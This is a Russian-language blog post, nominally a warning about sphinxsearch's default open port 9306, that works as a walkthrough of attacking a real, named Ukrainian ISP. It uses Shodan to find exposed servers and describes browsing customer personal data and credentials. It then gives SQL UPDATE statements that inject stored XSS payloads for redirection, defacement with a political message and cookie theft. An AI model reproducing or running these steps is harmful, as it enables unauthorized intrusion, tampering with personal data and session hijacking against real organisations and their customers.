Эта статья ни в коем разе не является руководством к действию, а всего лишь демонстрирует, что может повлечь за собой некомпетентность или лень прочесть документацию перед установкой и настройкой различных сервисов на сервере.
Здесь пойдет речь о собственноручно оставляемой открытой уязвимости, когда вы бездумно «из коробки» устанавливаете сервис либо не имея представления о безопасной работе в сети(файрволы, порты), либо не удосуживаясь прочесть документацию к тому, что ставите.
Уязвимость настройки sphinxsearch
В статье про установку и настройку sphinxsearch я подивился насколько небезопасно по умолчанию выставлены настройки конфигурации searchd в директиве listen, позволяющей прослушивать все интерфейсы. Порт 9306 просто тупо открыт для всех желающих. Если файрволом не закрыто конечно. В документации это четко написано. Правда не указано чем грозит. В принципе, я считаю sphinx весьма сложным сервисом и настраивающий его админ, наверняка должен представлять последствия безпарольного общего доступа к базам данных. Как оказалось, я был мягко говоря, не прав.
Тогда как-то совсем позабыл про shodan и сразу прикинул другой способ определения потенциальных «жертв» через гугл. Но для таких целей есть специализированный поисковик. Честно говоря, от результатов я был в шорохе. Только вдумайтесь: интернет магазины, интернет провайдеры, хостеры(не клиенты), мать их, попалась даже какая-то компания разработчиков, пафосно утверждающая на главной сайта, какие они супер-девелоперы, и много других ребят. Давайте наглядно посмотрим, как использовать их тупость.
Хакерский поисковик Shodan
Shodan — это поисковая система в мире интернет вещей. Физических вещей, а не каких-то там виртуальных. Иначе говоря устройств, подключенных к сети, коими являются не только сервера, но и веб-камеры, роутеры, и даже холодильники и атомные электростанции. Ага…
Раз два три четыре, пять, я иду искать. Кто не спрятался — я не виноват!
Указав в фильтре port:9306 country:»UA» наобум выбираем один из ip-шников. В один щелчек получаем довольно обширную первичную информацию о сервере и запущенных на нем сервисах. Найденный нами ip ведет на прикольную заглушку для русских соцсетей. Это один из айпишек пула 91.230.25.0/24 украинского интернет провайдера.
Особенно позабавило на заглушке в title «Халепа», по ихнему, это дескать — беда, неприятность))
Мне кажется админы этого провайдера плохо понимают весь смысл слова «халепа».
Не опытные ещё, всего то 2 к клиентов. Можно было даже не юзать прокси, в sphinx ведь нет лога ip подключений.
Что перед нами? Перед нами поисковая база клиентов провайдера, та по которой девочки набирают в офисе, когда платить им приходишь за интернет. База с номерами контрактов, домашними адресами, фио, мобильными и городскими телефонами, mac адресами устройств и выделенными им частными ip за NAT. В наличии также логины и пароли личных кабинетов клиентов. И мы можем делать с этой базой всё что душе угодно, почти как с обычной mysql бд.
Какая ж это к чертям халепа. Вот была бы халепа так халепа:
UPDATE fulladdress SET value = 'г.Москва, улица Большая Лубянка, дом 2';
И утром девочки в офисах обнаружили бы, что у них все клиенты — ФСБ агенты…
Наверняка такие данные будут неожиданностью и на выходе не фильтруются, поэтому можно отправить на Лубянку и саму девочку, пусть прогуляется:
UPDATE fulladdress SET value = 'г.Москва, улица Большая Лубянка, дом 2<script>location.href="//fsb.ru"</script>';
А перед прогулкой, можно влупить на весь экран красным и добавить алерт:
UPDATE fulladdress SET value = 'г.Москва, улица Большая Лубянка, дом 2 <script> window.addEventListener("load", function(){ document.body.innerHTML = "Шановный Халепа!<br>Безпека - небезпека!<br>Всё пропало - ФСБ напало!"; document.body.style.cssText = "color:#fff;background:red;font-size:90px;font-weight:600;height:100vh;width:100%;display:flex;align-items:center;justify-content:center;text-align:center;"; setTimeout(function(){alert("Крым - Россия.");location.href="//fsb.ru";}, 1000); }); </script> ';
А можно тихонечко добавить xss, слить себе document.cookie и прочие известные javascript данные, подцепить сессию и возможно получится пролезть в систему ещё глубже.